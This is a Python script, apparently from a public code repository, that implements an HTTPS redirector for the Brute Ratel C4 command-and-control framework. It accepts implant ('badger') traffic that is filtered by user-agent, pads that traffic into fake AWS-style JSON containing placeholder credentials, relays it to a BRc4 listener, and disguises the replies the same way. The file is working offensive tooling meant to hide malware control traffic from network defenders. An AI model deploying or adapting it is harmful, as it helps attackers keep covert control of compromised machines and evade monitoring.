148 lines
7.9 KiB
Python
148 lines
7.9 KiB
Python
#!/usr/bin/python3
|
|
|
|
import threading
|
|
import argparse
|
|
from datetime import datetime
|
|
from http.server import HTTPServer, BaseHTTPRequestHandler
|
|
import ssl
|
|
import sys
|
|
import requests
|
|
import urllib3
|
|
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
|
import logging
|
|
|
|
DEBUG_LOGS = False
|
|
BRC4_LISTENER_URL = ""
|
|
BRC4_USERAGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36"
|
|
|
|
PostRequestPrepend = "{\n \"Action\": \"CreateResource\",\n \"Service\": \"ExampleService\",\n \"Version\": \"2019-09-01\",\n \"Region\": \"us-east-1\",\n \"Timestamp\": \"2023-09-04T12:00:00Z\",\n \"Credentials\": {\n \"AccessKeyId\": \"YOUR_ACCESS_KEY_ID\",\n \"SecretAccessKey\": \""
|
|
PostRequestPrependLength = len(PostRequestPrepend)
|
|
PostRequestAppend = "\"\n },\n \"RequestParameters\": {\n \"ResourceName\": \"example-resource\",\n \"Description\": \"This is an example resource\",\n \"Tags\": [\n {\n \"Key\": \"Environment\",\n \"Value\": \"Development\"\n },\n {\n \"Key\": \"Owner\",\n \"Value\": \"John Doe\"\n }\n ]\n }\n}"
|
|
PostRequestAppendLength = len(PostRequestAppend)
|
|
|
|
PostResponsePrepend = "{\n \"ResponseMetadata\": {\n \"RequestId\": \"12345678-1234-5678-1234-567812345678\",\n \"HTTPStatusCode\": 200,\n \"HTTPHeaders\": {\n \"x-amzn-requestid\": \""
|
|
PostResponsePrependLength = len(PostResponsePrepend)
|
|
PostResponseAppend = "\",\n \"content-type\": \"application/json\"\n }\n },\n \"Result\": {\n \"ResourceID\": \"example-resource-id\",\n \"ResourceName\": \"example-resource\",\n \"Description\": \"This is an example resource\",\n \"CreationDate\": \"2023-09-04T12:15:00Z\",\n \"Tags\": [\n {\n \"Key\": \"Environment\",\n \"Value\": \"Development\"\n },\n {\n \"Key\": \"Owner\",\n \"Value\": \"John Doe\"\n }\n ]\n }\n}"
|
|
PostResponseAppendLength = len(PostResponseAppend)
|
|
|
|
PostEmptyResponse = "{\n \"ResponseMetadata\": {\n \"RequestId\": \"12345678-1234-5678-1234-567812345678\",\n \"HTTPStatusCode\": 200,\n \"HTTPHeaders\": {\n \"x-amzn-requestid\": \"12345678-1234-5678-1234-567812345678\",\n \"content-type\": \"application/json\"\n }\n },\n \"Result\": {\n \"ResourceID\": \"example-resource-id\",\n \"ResourceName\": \"example-resource\",\n \"Description\": \"This is an example resource\",\n \"CreationDate\": \"2023-09-04T12:15:00Z\",\n \"Tags\": [\n {\n \"Key\": \"Environment\",\n \"Value\": \"Development\"\n },\n {\n \"Key\": \"Owner\",\n \"Value\": \"John Doe\"\n }\n ]\n }\n}\n"
|
|
PostEmptyResponseLength = (PostEmptyResponse)
|
|
|
|
logging.basicConfig(
|
|
format='%(asctime)s - %(levelname)s - %(message)s',
|
|
level=logging.INFO, # Set log level to DEBUG
|
|
datefmt='%Y-%m-%d %H:%M:%S' # Specify the date and time format
|
|
)
|
|
|
|
def ModifyPostRequest(postData):
|
|
postData = postData[PostRequestPrependLength:-PostRequestAppendLength]
|
|
postData = postData.replace("$", "")
|
|
postData = PostRequestPrepend + postData + PostRequestAppend
|
|
if not DEBUG_LOGS:
|
|
print(".")
|
|
return postData
|
|
|
|
def ModifyPostResponse(postResponse):
|
|
if (postResponse != PostEmptyResponse):
|
|
postResponse = postResponse[PostResponsePrependLength:-PostResponseAppendLength]
|
|
part_size = 5
|
|
if part_size <= 0 or part_size > len(postResponse):
|
|
return postResponse
|
|
parts = [postResponse[i:i + part_size] for i in range(0, len(postResponse), part_size)]
|
|
postResponse = "$".join(parts)
|
|
postResponse = PostResponsePrepend + postResponse + PostResponseAppend
|
|
return postResponse
|
|
|
|
|
|
class Stager(BaseHTTPRequestHandler):
|
|
def _set_headers(self):
|
|
self.send_response(200)
|
|
self.send_header("Content-type", "application/json")
|
|
self.end_headers()
|
|
|
|
def _html(self, message):
|
|
content = f"{message}"
|
|
return content.encode("utf8")
|
|
|
|
def do_GET(self):
|
|
self._set_headers()
|
|
self.wfile.write(self._html("404 Not Found"))
|
|
currtime = (datetime.now()).strftime("%d/%m/%Y %H:%M:%S")
|
|
logging.info("[" + currtime + "] GET request from " + self.address_string())
|
|
for x, y in self.headers.items():
|
|
print(" - ", x, ": ", y )
|
|
print("------------------------------------------------------------")
|
|
|
|
def do_HEAD(self):
|
|
self._set_headers()
|
|
self.wfile.write(self._html("404 Not Found"))
|
|
currtime = (datetime.now()).strftime("%d/%m/%Y %H:%M:%S")
|
|
logging.info("[" + currtime + "] HEAD request from " + self.address_string())
|
|
for x, y in self.headers.items():
|
|
print(" - ", x, ": ", y )
|
|
print("------------------------------------------------------------")
|
|
|
|
def do_POST(self):
|
|
# verifying that useragent matches
|
|
if (self.headers["User-Agent"] == BRC4_USERAGENT):
|
|
try:
|
|
global DEBUG_LOGS
|
|
postRequest = ((self.rfile.read(int(self.headers['content-length']))).decode('utf-8'))
|
|
if DEBUG_LOGS:
|
|
datalen = len(postRequest)
|
|
logging.info(f"Received from badger: {datalen} bytes (START)")
|
|
postRequest = ModifyPostRequest(postRequest)
|
|
headers = {
|
|
"Content-Type": "application/json",
|
|
"User-Agent": BRC4_USERAGENT,
|
|
}
|
|
if DEBUG_LOGS:
|
|
datalen = len(postRequest)
|
|
logging.info(f"Sent to BRc4 server: {datalen} bytes")
|
|
response = requests.post(BRC4_LISTENER_URL, postRequest, headers=headers, verify=False)
|
|
if DEBUG_LOGS:
|
|
datalen = len(response.text)
|
|
logging.info(f"Received from BRc4 server: {datalen} bytes")
|
|
postResponse = ModifyPostResponse(response.text)
|
|
if DEBUG_LOGS:
|
|
datalen = len(postResponse)
|
|
logging.info(f"Sent to badger: {datalen} bytes (END)")
|
|
self._set_headers()
|
|
self.wfile.write(postResponse.encode("utf-8"))
|
|
except Exception as ex:
|
|
logging.info("[-] Exception: ", ex)
|
|
|
|
def log_message(self, format, *args):
|
|
return
|
|
|
|
def main():
|
|
parser = argparse.ArgumentParser(description='BRc4 HTTP Mutating Server Example 0.1')
|
|
parser.add_argument('-c', '--cert', type=str, required=True, help="certificate file")
|
|
parser.add_argument('-k', '--key', type=str, required=True, help="certificate key")
|
|
parser.add_argument('-f', '--forward', type=str, required=True, help="BRc4 server to forward. Eg.: '172.16.219.1:10443'")
|
|
parser.add_argument('-l', '--listener', type=str, required=True, help="Listener host and port. Eg.: '172.16.219.1:443'")
|
|
parser.add_argument('-u', '--url', type=str, required=True, help="BRc4 URL to forward")
|
|
parser.add_argument('-d', '--debug', action='store_true', required=False, help="Enable debug logs")
|
|
args = parser.parse_args()
|
|
|
|
listenerHost = args.listener.split(":")[0]
|
|
listenerPort = args.listener.split(":")[1]
|
|
if not args.url.startswith("/"):
|
|
args.url = "/" + args.url
|
|
global BRC4_LISTENER_URL
|
|
global DEBUG_LOGS
|
|
BRC4_LISTENER_URL = "https://" + args.forward + args.url
|
|
logging.info(f"External C2 Server: '{args.listener}' => '{BRC4_LISTENER_URL}'")
|
|
logging.info(f"Useragent: '{BRC4_USERAGENT}'")
|
|
if args.debug:
|
|
logging.info(f"Debug logs enabled")
|
|
DEBUG_LOGS = True
|
|
server = HTTPServer((listenerHost, int(listenerPort)), Stager)
|
|
server.socket = ssl.wrap_socket(server.socket, certfile=args.cert, keyfile=args.key, server_side=True)
|
|
thread = threading.Thread(None, server.serve_forever)
|
|
thread.daemon = True
|
|
thread.start()
|
|
thread.join()
|
|
|
|
if __name__ == "__main__":
|
|
main() |